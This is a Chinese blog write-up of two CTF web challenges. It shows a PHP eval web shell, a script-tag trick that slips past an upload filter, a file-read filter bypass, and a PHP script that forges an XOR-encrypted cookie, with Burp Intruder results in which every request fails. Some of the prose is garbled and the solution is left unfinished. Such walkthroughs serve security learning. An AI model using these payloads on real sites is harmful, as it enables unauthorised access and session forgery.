

i春秋 web“百度杯”CTF比赛 九月场-Upload & code

原创

ChanCherry_ 于 2019-10-13 17:30:26 发布 673 收藏 2

分类专栏: [CTF WP](#) 文章标签: [web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/ITmincherry/article/details/102531096>

版权



[CTF WP](#) 专栏收录该内容

24 篇文章 1 订阅

订阅专栏

Upload

文件上传

你可以随意上传文件

可以上传文件, 并且上传之后可以点击源码链接打开文件, 上传了这几句话:

```
<?php
@eval($_POST["code"]);
?>
```

结果发现<?php被过滤了, 于是用php脚本标记来绕过过滤:

```
<script language="PHP">
$f=fopen("../flag.".strtolower("PHP"),'r');
echo fread($f,filesize("../flag.".strtolower("PHP")));
fclose($f);
</script>
```

查看源码, 点击/u/x.php即可得到flag。

这里附上PHP四种标记风格链接https://blog.csdn.net/qq_35085863/article/details/76714367

code 考脑洞, 你能过么?


```
<option value="$PROJECT_DIR$/x.php" />
<option value="$PROJECT_DIR$/config.php" />
<option value="$PROJECT_DIR$/fl3g_ichuqiu.php" />
```

于是直接访问fl3g_ichuqiu.php，发现不行 (╯▽╰) 那么还可以通过index.php来读文件（访问 `index.php?jpg=fl3g_ichuqiu.php`），但是不难发现过滤了大小写数字字符以外的其他字符，也就是说_被过滤了，但是又发现config会被替代成_也就可以绕过过滤了。所以payload:

```
/index.php?jpg=fl3gconfigichuqiu.php
```

又是一串base64，转一下，得到源码:

```

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
//获取Length位数的随机字符串
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}
//加密过程, txt是明文, key是密文
function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10); //txt内容ASCII码值加10
    }
    $txt = $tmp;
    $rnd=random(4);
    $key=md5($rnd.$key); //随机字符与密钥key拼接得到新的密钥
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i] ^ $key[++$s]; //将明文与密钥key按位进行异或
    }
    return base64_encode($rnd.$tmp); //base64加密
}
//解密过程, txt是密文, key是密钥
function decrypt($txt,$key){
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4); //减掉4位随机数
    $txt = substr($txt,4); //真正的密文
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s]; //将密文与密钥进行异或得到tmp
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1; //明文
}
$username = decrypt($_COOKIE['user'],$key); //获取cookie的内容
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "╰( ▽ ▽ )╯";
}
?>

```

看了PureT大佬的wp <https://www.jianshu.com/p/3d7fb34c28a6>

分析之后，flag应该是在config里。fl3g_ichuqiu.php文件接收cookie值解密之后如果等于system就输出flag，我们要做的就是研究加密算法怎么让fl3g_ichuqiu.php解密cookie中的username等于system。

破解这个加密算法的着手点就是我们已知guest加密后的结果。

先用burpsuite拦截数据包读取cookie然后运行脚本。

大佬大佬，PHP写了个脚本，佩服~~

```
<?php
error_reporting(E_ALL || ~E_NOTICE);

$text = 'guest';
$cookie_guest = 'dk9FS0h0XUhh';
$cookie_guest = base64_decode($cookie_guest);
$rnd = substr($cookie_guest,0,4);
$cookie_guest = substr($cookie_guest,4);
for ($i = 0; $i < strlen($text); $i++) {
    $text[$i] = chr(ord($text[$i])+10);
}

for ($i = 0; $i < strlen($text); $i++) {
    $key .= ($text[$i] ^ $cookie_guest[$i]);
}
$text2 = 'system';
for ($i = 0; $i < strlen($text2); $i++) {
    $text2[$i] = chr(ord($text2[$i])+10);
}
$t = '0123456789abcdef';
for ($j = 0; $j < strlen($t); $j++) {
    $key_temp = $key.$t[$j];
    $result = '';
    for ($i = 0; $i < strlen($text2); $i++) {
        $result .= ($key_temp[$i] ^ $text2[$i]);
    }
    $result = base64_encode($rnd.$result);
    echo $result."\n";
}

?>
```

在脚本中已经写好了所有六位的情况，运行脚本输出：

```
dk9FS0SyT0tWRw==
dk9FS0SyT0tWRg==
dk9FS0SyT0tWRQ==
dk9FS0SyT0tWRA==
dk9FS0SyT0tWQw==
dk9FS0SyT0tWQg==
dk9FS0SyT0tWQQ==
dk9FS0SyT0tWQA==
dk9FS0SyT0tWTw==
dk9FS0SyT0tWTg==
dk9FS0SyT0tWFg==
dk9FS0SyT0tWFQ==
dk9FS0SyT0tWFA==
dk9FS0SyT0tWEw==
dk9FS0SyT0tWEg==
dk9FS0SyT0tWEQ==
```

前5位而前5位 还有最后1位需要我们来爆破 如上面的截入到key爆破 理论上是这样 但是就是爆不出来

guest位到system位，还有取后1位而安我们爆破，把上面的数八到00爆破，理论上是这样，但是就是爆不出来，TT...TT

Target Positions Payloads Options

Payload Positions

Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: Sniper

```
GET /index.php?jpg=f13g_ichunqiu.php HTTP/1.1
Host: 154dd661c59a463aacb5d7f969774e19a5144eb67aee4c93.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: pgv_pvi=3742720000; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1569079541,1570862920,1570936383,1570947792;
UM_distinctid=16d3a7c009b681-014273a37c4668-4c312272-144000-16d3a7c009c582; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0000;
browse=CFibTxUYU0BRUFtGVQJTRFBZSkdeQFBYWFNFRF1RWEFTVhPWkVLTgBZkxZWQIFOGIIZTFRTW0VYwVEXixYRKISXE9bRFNEXEFTHFREXUJa
VIMGVEBQT0tRWERXXFhFRFJbVv9FU0BQWVIGTEoU; ci_session=cc277d76aad0fd069480cc9c6eb3e77fc3d3ec29;
Hm_lpv_2d0601bd28de7d49818249cf35d95943=1570947792; __jsluid_h=e19a50ac3b53776449a93c5a0b035d8d; user=$dFZMeEQbDhsb$
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

Add \$
Clear \$
Auto \$
Refresh

0 matches Clear

1 payload position Length: 1039

<https://blog.csdn.net/VITmincherry>

Target Positions Payloads Options

Payload Sets

Start attack

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set: 1 Payload count: 16
Payload type: Simple list Request count: 16

Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste dk9FS0SyT0tWRQ==
Load ... dk9FS0SyT0tWRA==
Remove dk9FS0SyT0tWQw==
Clear dk9FS0SyT0tWQg==
dk9FS0SyT0tWQQ==
dk9FS0SyT0tWQA==
dk9FS0SyT0tWTw==

Add Enter a new item
Add from list ...

<https://blog.csdn.net/VITmincherry>

Intruder attack 4

Attack Save Columns

Results Target Positions Payloads Options

Filter: Showing all items

Request ▲	Payload	Status	Error	Timeout	Length	Comment
0		502	<input type="checkbox"/>	<input type="checkbox"/>	255	
1	dk9FS0SyT0tWRw==	502	<input type="checkbox"/>	<input type="checkbox"/>	255	
2	dk9FS0SyT0tWRg==	502	<input type="checkbox"/>	<input type="checkbox"/>	255	
3	dk9FS0SyT0tWRQ==	502	<input type="checkbox"/>	<input type="checkbox"/>	255	
4	dk9FS0SyT0tWRA==	502	<input type="checkbox"/>	<input type="checkbox"/>	255	
5	dk9FS0SyT0tWQw==	502	<input type="checkbox"/>	<input type="checkbox"/>	255	
6	dk9FS0SyT0tWQg==	502	<input type="checkbox"/>	<input type="checkbox"/>	255	
7	dk9FS0SyT0tWQQ==	502	<input type="checkbox"/>	<input type="checkbox"/>	255	
8	dk9FS0SyT0tWQA==	502	<input type="checkbox"/>	<input type="checkbox"/>	255	
9	dk9FS0SyT0tWTw==	502	<input type="checkbox"/>	<input type="checkbox"/>	255	
10	dk9FS0SyT0tWTg==	502	<input type="checkbox"/>	<input type="checkbox"/>	255	
11	dk9FS0SyT0tWFg==	502	<input type="checkbox"/>	<input type="checkbox"/>	255	
12	dk9FS0SyT0tWFQ==	502	<input type="checkbox"/>	<input type="checkbox"/>	255	
13	dk9FS0SyT0tWFA==	502	<input type="checkbox"/>	<input type="checkbox"/>	255	
14	dk9FS0SyT0tWEw==	502	<input type="checkbox"/>	<input type="checkbox"/>	255	
15	dk9FS0SyT0tWEg==	502	<input type="checkbox"/>	<input type="checkbox"/>	255	
16	dk9FS0SyT0tWEQ==	502	<input type="checkbox"/>	<input type="checkbox"/>	255	

Finished

<https://blog.csdn.net/ITminicherry>